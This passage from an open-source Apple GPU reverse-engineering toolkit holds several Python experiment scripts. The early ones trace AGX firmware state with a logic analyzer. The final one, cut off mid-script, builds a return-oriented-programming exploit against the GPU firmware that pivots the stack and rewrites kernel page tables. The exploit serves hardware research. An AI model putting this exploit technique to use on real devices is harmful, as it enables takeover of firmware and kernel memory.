#mon.add(sgx.gpu_region_base, sgx.gpu_region_size, "contexts") #mon.add(sgx.gfx_shared_region_base, sgx.gfx_shared_region_size, "gfx-shared") #mon.add(sgx.gfx_handoff_base, sgx.gfx_handoff_size, "gfx-handoff") #mon.add(agx.initdasgx.gfx_handoff_base, sgx.gfx_handoff_size, "gfx-handoff") atexit.register(p.reboot) agx.start() print("==========================================") print("## After init") print("==========================================") mon.poll() agx.poll_objects() ctx = GPUContext(agx) ctx.bind(3) f = GPUFrame(ctx, sys.argv[1], track=False) RENDERERS = 1 FRAMES = 1 renderers = [] for i in range(RENDERERS): r = GPURenderer(ctx, 4, bm_slot=0x10 + i, queue=1) renderers.append(r) for q in (r.wq_3d, r.wq_ta): q.info.set_prio(2) q.info.push() print("==========================================") print("## Submitting") print("==========================================") for i, r in enumerate(renderers): for j in range(FRAMES): r.submit(f.cmdbuf) print("==========================================") print("## Submitted") print("==========================================") def t(addr): paddr = agx.uat.iotranslate(0, addr, 4)[0][0] if paddr is None: raise Exception(f"Failed to iotranslate {addr:#x}") return paddr regs = { "ta_cmds": t(agx.initdata.regionB.stats_ta.addrof("total_cmds")), "ta_ts": t(agx.initdata.regionB.stats_ta.stats.addrof("unk_timestamp")), } #pend_base = agx.initdata.regionC.addrof("pending_stamps") #for i in range(5): #regs[f"st{i}_info"] = t(pend_base + i*8) #regs[f"st{i}_val"] = t(pend_base + i*8 + 4) #for i in range(4): #regs[f"ta{i}_cq"] = t(agx.initdata.regionB.stats_ta.stats.queues[i].addrof("cur_cmdqueue")) regs.update({ "pwr_status": t(agx.initdata.regionB.hwdata_a.addrof("pwr_status")), "pstate": t(agx.initdata.regionB.hwdata_a.addrof("cur_pstate")), "temp_c": t(agx.initdata.regionB.hwdata_a.addrof("temp_c")), "pwr_mw": t(agx.initdata.regionB.hwdata_a.addrof("avg_power_mw")), "pwr_ts": t(agx.initdata.regionB.hwdata_a.addrof("update_ts")), "unk_10": t(agx.initdata.regionB.hwdata_a.addrof("unk_10")), "unk_14": t(agx.initdata.regionB.hwdata_a.addrof("unk_14")), "actual_pstate": t(agx.initdata.regionB.hwdata_a.addrof("actual_pstate")), "tgt_pstate": t(agx.initdata.regionB.hwdata_a.addrof("tgt_pstate")), "unk_40": t(agx.initdata.regionB.hwdata_a.addrof("unk_40")), "unk_44": t(agx.initdata.regionB.hwdata_a.addrof("unk_44")), "unk_48": t(agx.initdata.regionB.hwdata_a.addrof("unk_48")), "freq_mhz": t(agx.initdata.regionB.hwdata_a.addrof("freq_mhz")), "unk_748.0": t(agx.initdata.regionB.hwdata_a.addrof("unk_748")), "unk_748.1": t(agx.initdata.regionB.hwdata_a.addrof("unk_748")+4), "unk_748.2": t(agx.initdata.regionB.hwdata_a.addrof("unk_748")+8), "unk_748.3": t(agx.initdata.regionB.hwdata_a.addrof("unk_748")+12), "use_percent": t(agx.initdata.regionB.hwdata_a.addrof("use_percent")), "unk_83c": t(agx.initdata.regionB.hwdata_a.addrof("unk_83c")), "freq_with_off": t(agx.initdata.regionB.hwdata_a.addrof("freq_with_off")), "unk_ba0": t(agx.initdata.regionB.hwdata_a.addrof("unk_ba0")), "unk_bb0": t(agx.initdata.regionB.hwdata_a.addrof("unk_bb0")), "unk_c44": t(agx.initdata.regionB.hwdata_a.addrof("unk_c44")), "unk_c58": t(agx.initdata.regionB.hwdata_a.addrof("unk_c58")), "unk_3ca0": t(agx.initdata.regionB.hwdata_a.addrof("unk_3ca0")), "unk_3ca8": t(agx.initdata.regionB.hwdata_a.addrof("unk_3ca8")), "unk_3cb0": t(agx.initdata.regionB.hwdata_a.addrof("unk_3cb0")), "ts_last_idle": t(agx.initdata.regionB.hwdata_a.addrof("ts_last_idle")), "ts_last_poweron": t(agx.initdata.regionB.hwdata_a.addrof("ts_last_poweron")), "ts_last_poweroff": t(agx.initdata.regionB.hwdata_a.addrof("ts_last_poweroff")), "unk_3cd0": t(agx.initdata.regionB.hwdata_a.addrof("unk_3cd0")), "halt_count": t(agx.initdata.fw_status.addrof("halt_count")), "halted": t(agx.initdata.fw_status.addrof("halted")), "resume": t(agx.initdata.fw_status.addrof("resume")), "unk_40": t(agx.initdata.fw_status.addrof("unk_40")), "unk_ctr": t(agx.initdata.fw_status.addrof("unk_ctr")), "unk_60": t(agx.initdata.fw_status.addrof("unk_60")), "unk_70": t(agx.initdata.fw_status.addrof("unk_70")), "c_118c0": t(agx.initdata.regionC._addr + 0x118c0), "c_118c4": t(agx.initdata.regionC._addr + 0x118c4), "c_118c8": t(agx.initdata.regionC._addr + 0x118c8), "c_118cc": t(agx.initdata.regionC._addr + 0x118cc), "c_118d0": t(agx.initdata.regionC._addr + 0x118d0), "c_118d4": t(agx.initdata.regionC._addr + 0x118d4), "c_118d8": t(agx.initdata.regionC._addr + 0x118d8), "c_118dc": t(agx.initdata.regionC._addr + 0x118dc), "3d_cmds": t(agx.initdata.regionB.stats_3d.addrof("total_cmds")), #"3d_cq": t(agx.initdata.regionB.stats_3d.stats.addrof("cur_cmdqueue")), #"3d_tvb_oflws_1": t(agx.initdata.regionB.stats_3d.stats.addrof("tvb_overflows_1")), #"3d_tvb_oflws_2": t(agx.initdata.regionB.stats_3d.stats.addrof("tvb_overflows_2")), #"3d_cur_stamp_id": t(agx.initdata.regionB.stats_3d.stats.addrof("cur_stamp_id")), "3d_ts": t(agx.initdata.regionB.stats_3d.stats.addrof("unk_timestamp")), "hoff_lock": agx.uat.handoff.reg.LOCK_AP.addr, "hoff_ctx": agx.uat.handoff.reg.CUR_CTX.addr, "hoff_unk2": agx.uat.handoff.reg.UNK2.addr, "hoff_unk3_lo": agx.uat.handoff.reg.UNK3.addr, "hoff_unk3_hi": agx.uat.handoff.reg.UNK3.addr + 4, }) for i, r in enumerate(renderers): regs.update({ f"r{i}_3d_done": t(r.wq_3d.info.pointers.addrof("gpu_doneptr")), #f"r{i}_3d_rptr": t(r.wq_3d.info.pointers.addrof("gpu_rptr")), f"r{i}_3d_busy": t(r.wq_3d.info.addrof("busy")), #f"r{i}_3d_blk": t(r.wq_3d.info.addrof("blocked_on_barrier")), #f"r{i}_3d_2c": t(r.wq_3d.info.addrof("unk_2c")), #f"r{i}_3d_54": t(r.wq_3d.info.addrof("unk_54")), f"r{i}_ta_done": t(r.wq_ta.info.pointers.addrof("gpu_doneptr")), #f"r{i}_ta_rptr": t(r.wq_ta.info.pointers.addrof("gpu_rptr")), f"r{i}_ta_busy": t(r.wq_ta.info.addrof("busy")), #f"r{i}_ta_blk": t(r.wq_ta.info.addrof("blocked_on_barrier")), #f"r{i}_ta_2c": t(r.wq_ta.info.addrof("unk_2c")), #f"r{i}_ta_54": t(r.wq_ta.info.addrof("unk_54")), f"r{i}_f{j}_ta_stamp1": t(r.stamp_ta1._addr), f"r{i}_ta_stamp2":t(r.stamp_ta2._addr), f"r{i}_f{j}_3d_stamp1": t(r.stamp_3d1._addr), f"r{i}_3d_stamp2":t(r.stamp_3d2._addr), }) #for j in range(FRAMES): #work = r.work[j] #regs.update({ #f"r{i}_f{j}_3d_ts": t(work.wc_3d.ts1._addr), #f"r{i}_f{j}_ta_ts": t(work.wc_ta.ts1._addr), #}) div=4 ticks = 24000000 // div * 25 la = GPIOLogicAnalyzer(u, regs=regs, cpu=analyzer_cpu, div=div) print("==========================================") print("## Run") print("==========================================") la.start(ticks, bufsize=0x8000000) depth_len = align_up(1920*1080*4, 0x4000) #agx.uat.iomap_at(ctx.ctx, f.cmdbuf.depth_buffer, 0, depth_len, VALID=0) #agx.uat.flush_dirty() fb = r.work[0].fb #agx.uat.iomap_at(ctx.ctx, fb, 0, depth_len, VALID=0) #agx.uat.flush_dirty() agx.kick_firmware() agx.show_stats = False count_pa = renderers[0].event_control.event_count._paddr print(f"count: {p.read32(count_pa)}") agx.uat.invalidate_cache() agx.uat.dump(ctx.ctx) mon.add(0x9fff74000, 0x4000) try: for r in renderers: r.run() for r in renderers: while not r.ev_ta.fired: agx.asc.work() agx.poll_channels() print("TA fired") print(f"count: {p.read32(count_pa)}") for r in renderers: while not r.ev_3d.fired: agx.asc.work() agx.poll_channels() #print("==========================================") r.wait() print("3D fired") print("Timestamps:") print(f" 3D 1: {r.ts3d_1.pull().val}") print(f" 3D 2: {r.ts3d_2.pull().val}") print(f" TA 1: {r.tsta_1.pull().val}") print(f" TA 2: {r.tsta_2.pull().val}") print("CPU flag:", r.buffer_mgr.misc_obj.pull().cpu_flag) mon.poll() #agx.uat.iomap_at(ctx.ctx, fb, 0, depth_len, VALID=0) #agx.uat.flush_dirty() print(f"fb: {fb:#x}") for i, r in enumerate(renderers): for j in range(FRAMES): r.submit(f.cmdbuf) r.run() for r in renderers: while not r.ev_3d.fired: agx.asc.work() r.wait() print("3D fired again") print("Timestamps:") print(f" 3D 1: {r.ts3d_1.pull().val}") print(f" 3D 2: {r.ts3d_2.pull().val}") print(f" TA 1: {r.tsta_1.pull().val}") print(f" TA 2: {r.tsta_2.pull().val}") print("CPU flag:", r.buffer_mgr.misc_obj.pull().cpu_flag) time.sleep(0.5) finally: agx.poll_channels() #agx.poll_objects() #mon.poll() la.complete() la.show() time.sleep(2) m1n1-1.4.11/proxyclient/experiments/agx_tracetimings.py000066400000000000000000000267051453754430200232200ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib, time sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) import atexit, sys from m1n1.setup import * from m1n1.constructutils import Ver from m1n1.utils import * Ver.set_version(u) from m1n1.agx import AGX from m1n1.agx.render import * from m1n1.gpiola import GPIOLogicAnalyzer analyzer_cpu = 1 p.pmgr_adt_clocks_enable("/arm-io/gfx-asc") p.pmgr_adt_clocks_enable("/arm-io/sgx") p.smp_start_secondaries() p.mmu_init_secondary(analyzer_cpu) iface.dev.timeout = 10 agx = AGX(u) mon = RegMonitor(u, ascii=True, bufsize=0x8000000) agx.mon = mon sgx = agx.sgx_dev #mon.add(sgx.gpu_region_base, sgx.gpu_region_size, "contexts") #mon.add(sgx.gfx_shared_region_base, sgx.gfx_shared_region_size, "gfx-shared") #mon.add(sgx.gfx_handoff_base, sgx.gfx_handoff_size, "gfx-handoff") #mon.add(agx.initdasgx.gfx_handoff_base, sgx.gfx_handoff_size, "gfx-handoff") atexit.register(p.reboot) agx.start() print("==========================================") print("## After init") print("==========================================") mon.poll() agx.poll_objects() ctx = GPUContext(agx) ctx.bind(1) renderer = GPURenderer(ctx, 64, bm_slot=0, queue=0) renderer2 = GPURenderer(ctx, 64, bm_slot=1, queue=1) #for q in (renderer.wq_3d, renderer.wq_ta):#, renderer2.wq_3d, renderer2.wq_ta): #q.info.unk_30 = 2 #q.info.unk_34 = 2 #q.info.unk_38 = 0xffff000000000000 #q.info.unk_40 = 0 #q.info.unk_44 = 0 #q.info.unk_48 = 2 #q.info.unk_50 = 0x1 #q.info.push() f = GPUFrame(ctx, sys.argv[1], track=False) #f2 = GPUFrame(renderer2.ctx, sys.argv[1], track=False) print("==========================================") print("## Pre submit") print("==========================================") mon.poll() agx.poll_objects() print("==========================================") print("## Submitting") print("==========================================") work = renderer.submit(f.cmdbuf) work2 = renderer2.submit(f.cmdbuf) workb = renderer.submit(f.cmdbuf) work2b = renderer2.submit(f.cmdbuf) print(work.wc_3d) print(work.wc_ta) print(work2.wc_3d) print(work2.wc_ta) print("==========================================") print("## Submitted") print("==========================================") def t(addr): paddr = agx.uat.iotranslate(0, addr, 4)[0][0] if paddr is None: raise Exception(f"Failed to iotranslate {addr:#x}") return paddr regs = { "ta_cmds": t(agx.initdata.regionB.stats_ta.addrof("total_cmds")), "ta0_busy": t(agx.initdata.regionB.stats_ta.stats.queues[0].addrof("busy")), "ta0_unk4": t(agx.initdata.regionB.stats_ta.stats.queues[0].addrof("unk_4")), "ta0_cq": t(agx.initdata.regionB.stats_ta.stats.queues[0].addrof("cur_cmdqueue")), "ta0_cnt": t(agx.initdata.regionB.stats_ta.stats.queues[0].addrof("cur_count")), "ta1_busy": t(agx.initdata.regionB.stats_ta.stats.queues[1].addrof("busy")), "ta1_unk4": t(agx.initdata.regionB.stats_ta.stats.queues[1].addrof("unk_4")), "ta1_cq": t(agx.initdata.regionB.stats_ta.stats.queues[1].addrof("cur_cmdqueue")), "ta1_cnt": t(agx.initdata.regionB.stats_ta.stats.queues[1].addrof("cur_count")), "ta_ts": t(agx.initdata.regionB.stats_ta.stats.addrof("unk_timestamp")), "3d_cmds": t(agx.initdata.regionB.stats_3d.addrof("total_cmds")), "3d_cq": t(agx.initdata.regionB.stats_3d.stats.addrof("cur_cmdqueue")), "3d_tvb_oflws_1": t(agx.initdata.regionB.stats_3d.stats.addrof("tvb_overflows_1")), "3d_tvb_oflws_2": t(agx.initdata.regionB.stats_3d.stats.addrof("tvb_overflows_2")), "3d_cur_stamp_id": t(agx.initdata.regionB.stats_3d.stats.addrof("cur_stamp_id")), "3d_ts": t(agx.initdata.regionB.stats_3d.stats.addrof("unk_timestamp")), "bmctl_0": t(agx.initdata.regionB.buffer_mgr_ctl._addr + 0), "bmctl_8": t(agx.initdata.regionB.buffer_mgr_ctl._addr + 8), "2_bmctl_0": t(agx.initdata.regionB.buffer_mgr_ctl._addr + 16), "2_bmctl_8": t(agx.initdata.regionB.buffer_mgr_ctl._addr + 24), "bmmisc_0": t(renderer.buffer_mgr.info.misc.addrof("gpu_0")), "bmmisc_4": t(renderer.buffer_mgr.info.misc.addrof("gpu_4")), "bmmisc_8": t(renderer.buffer_mgr.info.misc.addrof("gpu_8")), "bmmisc_c": t(renderer.buffer_mgr.info.misc.addrof("gpu_c")), "bmi_gpuc": t(renderer.buffer_mgr.info.addrof("gpu_counter")), "bmi_18": t(renderer.buffer_mgr.info.addrof("unk_18")), "bmi_gpuc2": t(renderer.buffer_mgr.info.addrof("gpu_counter2")), "2_bmmisc_0": t(renderer2.buffer_mgr.info.misc.addrof("gpu_0")), "2_bmmisc_4": t(renderer2.buffer_mgr.info.misc.addrof("gpu_4")), "2_bmmisc_8": t(renderer2.buffer_mgr.info.misc.addrof("gpu_8")), "2_bmmisc_c": t(renderer2.buffer_mgr.info.misc.addrof("gpu_c")), "2_bmi_gpuc": t(renderer2.buffer_mgr.info.addrof("gpu_counter")), "2_bmi_18": t(renderer2.buffer_mgr.info.addrof("unk_18")), "2_bmi_gpuc2": t(renderer2.buffer_mgr.info.addrof("gpu_counter2")), "ctxdat_0": t(renderer.ctx.gpu_context._addr + 0), "ctxdat_4": t(renderer.ctx.gpu_context._addr + 4), "ctxdat_8": t(renderer.ctx.gpu_context._addr + 8), "ctxdat_c": t(renderer.ctx.gpu_context._addr + 0xc), "2_ctxdat_0": t(renderer2.ctx.gpu_context._addr + 0), "2_ctxdat_4": t(renderer2.ctx.gpu_context._addr + 4), "2_ctxdat_8": t(renderer2.ctx.gpu_context._addr + 8), "2_ctxdat_c": t(renderer2.ctx.gpu_context._addr + 0xc), "evctl_ta": t(renderer.event_control.addrof("has_ta")), "evctl_pta": t(renderer.event_control.addrof("pstamp_ta")), "evctl_3d": t(renderer.event_control.addrof("has_3d")), "evctl_p3d": t(renderer.event_control.addrof("pstamp_3d")), "evctl_in_list": t(renderer.event_control.addrof("in_list")), "evctl_prev": t(renderer.event_control.list_head.addrof("prev")), "evctl_next": t(renderer.event_control.list_head.addrof("next")), "2_evctl_ta": t(renderer2.event_control.addrof("has_ta")), "2_evctl_pta": t(renderer2.event_control.addrof("pstamp_ta")), "2_evctl_3d": t(renderer2.event_control.addrof("has_3d")), "2_evctl_p3d": t(renderer2.event_control.addrof("pstamp_3d")), "2_evctl_in_list":t(renderer2.event_control.addrof("in_list")), "2_evctl_prev": t(renderer2.event_control.list_head.addrof("prev")), "2_evctl_next": t(renderer2.event_control.list_head.addrof("next")), "jl_first": t(renderer.job_list.addrof("first_job")), "jl_last": t(renderer.job_list.addrof("last_head")), "jl_10": t(renderer.job_list.addrof("unkptr_10")), "2_jl_first": t(renderer2.job_list.addrof("first_job")), "2_jl_last": t(renderer2.job_list.addrof("last_head")), "2_jl_10": t(renderer2.job_list.addrof("unkptr_10")), "3d_done": t(renderer.wq_3d.info.pointers.addrof("gpu_doneptr")), "3d_rptr": t(renderer.wq_3d.info.pointers.addrof("gpu_rptr")), "3d_rptr1": t(renderer.wq_3d.info.addrof("gpu_rptr1")), "3d_rptr2": t(renderer.wq_3d.info.addrof("gpu_rptr2")), "3d_rptr3": t(renderer.wq_3d.info.addrof("gpu_rptr3")), "3d_busy": t(renderer.wq_3d.info.addrof("busy")), "3d_blk": t(renderer.wq_3d.info.addrof("blocked_on_barrier")), "3d_2c": t(renderer.wq_3d.info.addrof("unk_2c")), "3d_54": t(renderer.wq_3d.info.addrof("unk_54")), "3d_58": t(renderer.wq_3d.info.addrof("unk_58")), "2_3d_done": t(renderer2.wq_3d.info.pointers.addrof("gpu_doneptr")), "2_3d_rptr": t(renderer2.wq_3d.info.pointers.addrof("gpu_rptr")), "2_3d_busy": t(renderer2.wq_3d.info.addrof("busy")), "2_3d_blk": t(renderer2.wq_3d.info.addrof("blocked_on_barrier")), "2_3d_2c": t(renderer2.wq_3d.info.addrof("unk_2c")), "2_3d_54": t(renderer2.wq_3d.info.addrof("unk_54")), "ta_done": t(renderer.wq_ta.info.pointers.addrof("gpu_doneptr")), "ta_rptr": t(renderer.wq_ta.info.pointers.addrof("gpu_rptr")), "ta_rptr1": t(renderer.wq_ta.info.addrof("gpu_rptr1")), "ta_rptr2": t(renderer.wq_ta.info.addrof("gpu_rptr2")), "ta_rptr3": t(renderer.wq_ta.info.addrof("gpu_rptr3")), "ta_busy": t(renderer.wq_ta.info.addrof("busy")), "ta_blk": t(renderer.wq_ta.info.addrof("blocked_on_barrier")), "ta_2c": t(renderer.wq_ta.info.addrof("unk_2c")), "ta_54": t(renderer.wq_ta.info.addrof("unk_54")), "ta_58": t(renderer.wq_ta.info.addrof("unk_58")), "2_ta_done": t(renderer2.wq_ta.info.pointers.addrof("gpu_doneptr")), "2_ta_rptr": t(renderer2.wq_ta.info.pointers.addrof("gpu_rptr")), "2_ta_busy": t(renderer2.wq_ta.info.addrof("busy")), "2_ta_blk": t(renderer2.wq_ta.info.addrof("blocked_on_barrier")), "2_ta_2c": t(renderer2.wq_ta.info.addrof("unk_2c")), "2_ta_54": t(renderer2.wq_ta.info.addrof("unk_54")), "3d_ts1": t(work.wc_3d.ts1._addr), "3d_ts1b": t(workb.wc_3d.ts1._addr), "3d_ts2": t(work.wc_3d.ts2._addr), "3d_ts3": t(work.wc_3d.ts3._addr), "ta_ts1": t(work.wc_ta.ts1._addr), "ta_ts1b": t(workb.wc_ta.ts1._addr), "ta_ts2": t(work.wc_ta.ts2._addr), "ta_ts3": t(work.wc_ta.ts3._addr), "2_3d_ts1": t(work2.wc_3d.ts1._addr), "2_3d_ts1b": t(work2b.wc_3d.ts1._addr), "2_3d_ts2": t(work2.wc_3d.ts2._addr), "2_3d_ts3": t(work2.wc_3d.ts3._addr), "2_ta_ts1": t(work2.wc_ta.ts1._addr), "2_ta_ts1b": t(work2b.wc_ta.ts1._addr), "2_ta_ts2": t(work2.wc_ta.ts2._addr), "2_ta_ts3": t(work2.wc_ta.ts3._addr), "ta_stamp1": t(renderer.stamp_ta1._addr), "ta_stamp2": t(renderer.stamp_ta2._addr), "3d_stamp1": t(renderer.stamp_3d1._addr), "3d_stamp2": t(renderer.stamp_3d2._addr), "2_ta_stamp1": t(renderer2.stamp_ta1._addr), "2_ta_stamp2": t(renderer2.stamp_ta2._addr), "2_3d_stamp1": t(renderer2.stamp_3d1._addr), "2_3d_stamp2": t(renderer2.stamp_3d2._addr), } div=4 ticks = 24000000 // div * 3 la = GPIOLogicAnalyzer(u, regs=regs, cpu=analyzer_cpu, div=div) print("==========================================") print("## Poll prior to job start") print("==========================================") mon.poll() agx.poll_objects() print("==========================================") print("## Run") print("==========================================") la.start(ticks, bufsize=0x400000) renderer.run() print("==========================================") print("## After r1 start") print("==========================================") #agx.poll_objects() #time.sleep(0.1) #mon.poll() #time.sleep(0.15) #mon.poll() renderer2.run() print("==========================================") print("## After r2 start") print("==========================================") agx.poll_objects() #mon.poll() print("==========================================") print("## Waiting") print("==========================================") try: #while not work.ev_3d.fired: #agx.asc.work() ##mon.poll() #agx.poll_objects() #agx.poll_channels() #print("==========================================") ##time.sleep(0.1) #print("==========================================") #print("## Ev1 Fired") #print("==========================================") while not work2.ev_3d.fired: agx.asc.work() #mon.poll() agx.poll_objects() agx.poll_channels() print("==========================================") #time.sleep(0.1) print("==========================================") print("## Ev2 Fired") print("==========================================") renderer.wait() renderer2.wait() agx.poll_objects() #mon.poll() finally: la.complete() la.show() time.sleep(2) m1n1-1.4.11/proxyclient/experiments/agx_xtest.py000066400000000000000000000267701453754430200217000ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib, time sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) import atexit, sys from m1n1.agx import AGX from m1n1.agx.render import * from m1n1.fw.agx.microsequence import * from construct import * from m1n1.setup import * from m1n1 import asm p.pmgr_adt_clocks_enable("/arm-io/gfx-asc") p.pmgr_adt_clocks_enable("/arm-io/sgx") agx = AGX(u) agx.mon = mon sgx = agx.sgx_dev def magic(renderer, work, ms): work.scratch = agx.kobj.new_buf(0x4000, name="scratch", track=True) # dump GXF area #for i in range(0, 0x200, 8): #ms.append(Read64Cmd(0xffffff8000068000 + i)) #ms.append(Store64Cmd(work.scratch._addr + i)) #return gbl_cur_cmd_state = 0xffffff80000744b0 v_gptbat_base = 0xffffff800004d06b v_kpt_pfn = 0xffffff80000680b0 g_epilogue = 0xffffff8000021ec0 sp = 0xffffff80000baab0 + 0x1c0 v_lr = sp + 0x58 v_x26 = sp + 0x10 v_x23 = sp + 0x28 v_x22 = sp + 0x30 v_x21 = sp + 0x38 g_stack_pivot = 0xffffff8000006640 #0xffffff8000006640 : mov sp, x2 ; movz x0, #0x1 ; ret g_calltwo = 0xffffff8000045e24 # 0xffffff8000045e24 : # ldr x8, [x22] ; ldr x8, [x8] ; mov x0, x22 ; movz w1, #0x5 ; mov x2, x23 ; mov x3, #0x0 ; blr x8 ; g_callone = 0xffffff8000045e3c # ldr x8, [x21, #0x70] ; cbz x8, #0xffffff8000045e4c ; mov x0, x26 ; blr x8 # mov x0, x23 ; # ldp x29, x30, [sp, #0x80] ; # ldp x20, x19, [sp, #0x70] ; # ldp x22, x21, [sp, #0x60] ; # ldp x24, x23, [sp, #0x50] ; # ldp x26, x25, [sp, #0x40] ; # ldp x28, x27, [sp, #0x30] ; # ldp d9, d8, [sp, #0x20] ; # add sp, sp, #0x90 ; ret g_store = 0xffffff800003b310 # 0xffffff800003b310 : str x0, [x23, #0xa78] ; ldp x29, x30, [sp, #0x40] ; ldp x20, x19, [sp, #0x30] ; ldp x22, x21, [sp, #0x20] ; ldp x24, x23, [sp, #0x10] ; ldp x26, x25, [sp], #0x50 ; ret g_mmu_gxf_enter = 0xffffff8000006650 ROP_SIZE = 0x400 rbuf = agx.kobj.new(Array(ROP_SIZE, Int64ul), name="ROP", track=True) p_rop = rbuf._addr rop = [] def r(i): p = p_rop + len(rop) * 8 rop.append(i) return p def e(v): p = p_rop + len(rop) * 8 rop.extend(v) return p tmp_cmdbuf = r(0) pg_stack_pivot = r(g_stack_pivot) ppg_stack_pivot = r(pg_stack_pivot) pg_store = r(g_store) pg_epilogue = r(g_epilogue) pg_mmu_gxf_enter = r(g_mmu_gxf_enter) v_ttbrs = 0xffffff8001000000 v_ttbr1_63 = v_ttbrs + 63 * 16 gxf_map_args = e([ v_ttbrs >> 14, # va 0, # pa 1, # size 0x41b, # EL1 RW Shared 0, # unk ]) gxf_map_op = e([ 0x10, # map gxf_map_args ]) gxf_switch_args = e([ 63 << 32, # context ID ]) gxf_switch_op = e([ 0x20, # switch gxf_switch_args ]) if len(rop) & 1: r(0) # Low leaf PT for firmware v_kpt0 = 0xffffff8001fc8000 # New page tables (AGX heap scratch) # Actually make this the TTBR page lol v_new_pt = 0xffffff80000b4000 new_sp = e([ # Set the TTBR1 for context 63 # Coming from g_calltwo 0x0aaaaaaaaa000006, 0x0aaaaaaaaa000007, 0x0aaaaaaaaa000008, 0x0aaaaaaaaa000009, 0x0aaaaaaaaa00000a, 0x0aaaaaaaaa00000b, 0x0bbbbbbbbb000028, # x28 0x0bbbbbbbbb000027, # x27 ]) new_ttbr = e([ 0x1bbbbbbbbb000026, # x26 = x0 = value 0x1bbbbbbbbb000025, # x25 0x1bbbbbbbbb000024, # x24 v_ttbr1_63 - 0xa78, # x23 = addr 0x1bbbbbbbbb000022, # x22 pg_store - 0x70, # x21 = func 0x1bbbbbbbbb000020, # x20 0x1bbbbbbbbb000019, # x19 0x1bbbbbbbbb000029, # x29 g_callone, # lr # Switch to context 63 # Coming from g_store gxf_switch_op, # x26 = x0 = op 0x2bbbbbbbbb000025, # x25 0x2bbbbbbbbb000024, # x24 0x2bbbbbbbbb000023, # x23 0x2bbbbbbbbb000022, # x22 pg_mmu_gxf_enter - 0x70, # x21 = func 0x2bbbbbbbbb000020, # x20 0x2bbbbbbbbb000019, # x19 0x2bbbbbbbbb000029, # x29 g_callone, # lr # Install our page table in the kernel space # Coming from g_callone 0x3aaaaaaaaa000006, 0x3aaaaaaaaa000007, 0x3aaaaaaaaa000008, 0x3aaaaaaaaa000009, 0x3aaaaaaaaa00000a, 0xaaaaaaaaaa00000b, 0x3bbbbbbbbb000028, # x28 0x3bbbbbbbbb000027, # x27 ]) ktp_pte_val = e([ 0x3bbbbbbbbb000026, # x26 = x0 = value 0x3bbbbbbbbb000025, # x25 0x3bbbbbbbbb000024, # x24 ]) kpt_pte_addr = e([ 0x3bbbbbbbbb000023, # x23 = addr 0x3bbbbbbbbb000022, # x22 pg_store - 0x70, # x21 = func 0x3bbbbbbbbb000020, # x20 0x3bbbbbbbbb000019, # x19 0x3bbbbbbbbb000029, # x29 g_callone, # lr ]) def restore_reg(p): return e([ # Restore x21 # Coming from g_store 0x4bbbbbbbbb000026, # x26 = x0 = value 0x4bbbbbbbbb000025, # x25 0x4bbbbbbbbb000024, # x24 p - 0xa78, # x23 = addr 0x4bbbbbbbbb000022, # x22 pg_store - 0x70, # x21 = function 0x4bbbbbbbbb000020, # x20 0x4bbbbbbbbb000019, # x19 0x4bbbbbbbbb000029, # x29 g_callone, # lr ]) save_x21 = restore_reg(v_x21) save_x22 = restore_reg(v_x22) save_x23 = restore_reg(v_x23) save_x26 = restore_reg(v_x26) save_lr = restore_reg(v_lr) e([ # Return to original stack # Coming from g_store 0, # x26 = r0 = ret 0x5bbbbbbbbb000025, # x25 0x5bbbbbbbbb000024, # x24 sp, # x23 = new sp ppg_stack_pivot, # x22 = 1st function pg_epilogue - 0x70, # x21 = 2nd function 0x5bbbbbbbbb000020, # x20 0x5bbbbbbbbb000019, # x19 0x5bbbbbbbbb000029, # x29 g_calltwo, # lr ]) print(f"ROP len: {len(rop)*8:#x}") rbuf.val = rop + [0] * (ROP_SIZE - len(rop)) rbuf.push() # Calculate pfn of the ttbr base vpg_ttbrs = gxf_map_args + 8 ms.append(Read64Cmd(v_gptbat_base)) ms.append(ALUCmd(ALUCmd.LSR, 14)) ms.append(Store64Cmd(vpg_ttbrs)) # Calculate physaddr of the kpte to overwrite ms.append(Read64Cmd(v_kpt_pfn)) ms.append(ALUCmd(ALUCmd.LSL, 14)) ms.append(ALUCmd(ALUCmd.XOR, 0xffffffffffffffff)) ms.append(Add16Cmd(0xa78 - 8 * 4)) ms.append(ALUCmd(ALUCmd.XOR, 0xffffffffffffffff)) ms.append(Store64Cmd(kpt_pte_addr)) # Read the page tables to find the paddr of our new PT, # and generate the PTE and TTBR # pt[0] -> self reference L1 -> L2 ms.append(Read64Cmd(v_kpt0 + ((v_new_pt >> 14) & 0x7ff) * 8)) ms.append(ALUCmd(ALUCmd.AND, 0xfffffffc000)) ms.append(ALUCmd(ALUCmd.OR, 1)) ms.append(Store64Cmd(new_ttbr)) ms.append(ALUCmd(ALUCmd.OR, 2)) ms.append(Store64Cmd(ktp_pte_val)) ms.append(Store64Cmd(v_new_pt)) # Map physical 32M pages at 0, 32M, 8G-32, 16G-32 # This should be enough to make the exploit work regardless of RAM size, # the shader can map the rest for page in (0, 1, 255, 511): # pt[0x400+x] -> 0x800000000 + (x<<25) ms.append(Write64Cmd(v_new_pt + 0x2000 + 8 * page, 0xe0000800000409 | (page<<25))) # Save the stack values we will clobber, # and construct the new ttbr0 PT for src, dest in ( (v_lr, save_lr), (v_x21, save_x21), (v_x22, save_x22), (v_x23, save_x23), (v_x26, save_x26), ): ms.append(Read64Cmd(src)) ms.append(Store64Cmd(dest)) # Set up our initial ROP pivot (GXF map TTBRs) ms.append(Write64Cmd(v_x21, pg_mmu_gxf_enter - 0x70)) ms.append(Write64Cmd(v_x22, ppg_stack_pivot)) ms.append(Write64Cmd(v_x23, new_sp)) ms.append(Write64Cmd(v_x26, gxf_map_op)) ms.append(Write64Cmd(v_lr, g_calltwo)) # Figure out the stamp addr/val to complete the current command ms.append(Read64Cmd(gbl_cur_cmd_state)) ms.append(Add16Cmd(0x10)) store_cmd_buf = Store64Cmd(0) ms.append(store_cmd_buf) store_cmd_buf.addr = ms.cur_addr() + Read64Cmd.offsetof("addr") ms.append(Read64Cmd(0)) ms.append(ALUCmd(ALUCmd.AND, 0xffffffffffffffe0)) ms.append(Store64Cmd(tmp_cmdbuf)) off_3d_stamp_addr = 0x8d8 off_3d_stamp_value = 0x8e0 off_3d_stamp_index = 0x8e4 off_ta_stamp_addr = 0x578 off_ta_stamp_value = 0x580 off_ta_stamp_index = 0x584 ms.append(Add16Cmd(off_ta_stamp_addr)) 